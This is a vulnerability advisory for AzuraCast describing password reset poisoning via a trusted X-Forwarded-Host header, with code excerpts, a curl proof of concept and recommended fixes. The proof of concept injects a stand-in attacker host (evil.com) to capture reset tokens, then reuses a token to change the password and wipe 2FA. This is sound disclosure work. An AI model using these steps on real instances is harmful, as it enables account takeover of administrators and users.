CVE-2026-42606: AzuraCast: Password Reset Poisoning via Untrusted X-Forwarded-Host Header Leads to Account Takeover and 2FA Bypass

Summary

The ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover.

Details

Root Cause 1: Unconditional X-Forwarded-Host Trust

backend/src/Middleware/ApplyXForwarded.php:35-40: php if ($request->hasHeader('X-Forwarded-Host')) { $hasXForwardedHeader = true; $xfHost = Types::stringOrNull($request->getHeaderLine('X-Forwarded-Host'), true); if (null !== $xfHost) { $uri = $uri->withHost($xfHost); } }

There is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.

In the default Docker deployment, nginx's PHP location block (util/docker/web/nginx/azuracast.conf.tmpl:150-171) uses fastcgipass with include fastcgiparams. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as HTTP parameters. The proxyparams.conf file — which explicitly sets X-Forwarded-For, X-Forwarded-Proto, and X-Forwarded-Port — only applies to proxypass directives (websocket and vite dev server), NOT to the fastcgipass PHP handler. Therefore, client-supplied X-Forwarded-Host reaches PHP unmodified.

Root Cause 2: Request Host Used for Security-Critical URLs

backend/src/Http/Router.php:53-77 in buildBaseUrl(): php $useRequest ??= $settings->preferbrowserurl; // default: true

// ... if ($useRequest || $baseUrl->getHost() === '') { $ignoredHosts = ['web', 'nginx', 'localhost']; if (!inarray($currentUri->getHost(), $ignoredHosts, true)) { $baseUrl = (new Uri()) ->withScheme($currentUri->getScheme()) ->withHost($currentUri->getHost()) ->withPort($currentUri->getPort()); } }

With preferbrowserurl = true (the default at backend/src/Entity/Settings.php:109), the request URI host — already poisoned by ApplyXForwarded — is used as the base URL for generating absolute URLs. Even if a baseurl is configured in settings, it is overridden by the poisoned request host.

Root Cause 3: Password Reset Generates Absolute URL

backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77: php $router = $request->getRouter(); $url = $router->named( routeName: 'account:login-token', routeParams: ['token' => $token], absolute: true );

This URL is embedded in the password reset email sent to the victim.

Root Cause 4: Reset Token Wipes 2FA

backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75: php $user->setNewPassword($data['password']); $user->twofactorsecret = null;

When a ResetPassword token is consumed, the user's 2FA secret is unconditionally destroyed.

PoC

Prerequisites: An AzuraCast instance with a user account (e.g., admin@target.com) that has 2FA enabled. Attacker controls evil.com with a web server that logs incoming requests.

Step 1: Trigger poisoned password reset

bash curl -X POST https://target.azuracast.example/forgot \ -H "X-Forwarded-Host: evil.com" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=admin@target.com"

Expected result: The password reset email sent to admin@target.com contains a URL like: https://evil.com/login-token/abc123def456...

Step 2: Capture the token

When the victim clicks the link in their email, their browser navigates to https://evil.com/login-token/abc123def456.... The attacker's web server at evil.com captures the full URL path, extracting the token abc123def456....

Step 3: Use token on real instance

bash First, GET the reset page to obtain CSRF token curl -c cookies.txt https://target.azuracast.example/login-token/abc123def456...

Extract CSRF token from response, then POST new password curl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "csrf=<extractedcsrftoken>&password=AttackerPassword123"

Result: The victim's password is changed to AttackerPassword123 and their 2FA is destroyed (twofactorsecret = null). The attacker is logged in with full access.

Impact

- Full account takeover of any user account, including administrators, without any prior authentication - 2FA bypass — the password reset flow unconditionally destroys 2FA configuration, negating its security benefit - Administrative compromise — if the target is an admin account, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings - The attack requires the victim to click a link in a legitimate-looking password reset email from the real AzuraCast mail system, which increases the likelihood of success

Recommended Fix

Fix 1 (Primary): Validate X-Forwarded-Host against a trusted proxy allowlist

In backend/src/Middleware/ApplyXForwarded.php, only apply X-Forwarded- headers when the request originates from a trusted proxy (e.g., the Docker-internal nginx):

php // Add trusted proxy check $trustedProxies = ['127.0.0.1', '::1', 'nginx', 'web']; $remoteAddr = $request->getServerParams()['REMOTEADDR'] ?? '';

if (!inarray($remoteAddr, $trustedProxies, true)) { return $handler->handle($request); }

// ... existing X-Forwarded- processing

Fix 2 (Defense in depth): Use configured base URL for security-critical emails

In ForgotPasswordAction.php, generate the reset URL using the configured baseurl setting rather than the request-derived URL:

php $router = $request->getRouter(); $url = $router->named( routeName: 'account:login-token', routeParams: ['token' => $token], absolute: true, // Force use of configured base URL, not request host );

Or modify Router::buildBaseUrl() to never use request-derived hosts for absolute URLs by adding an option to force the configured base URL.

Fix 3 (Defense in depth): Don't wipe 2FA on password reset

In LoginTokenAction.php:75, remove the line $user->twofactorsecret = null;. If 2FA recovery is needed, it should be a separate, explicit flow — not a side effect of password reset.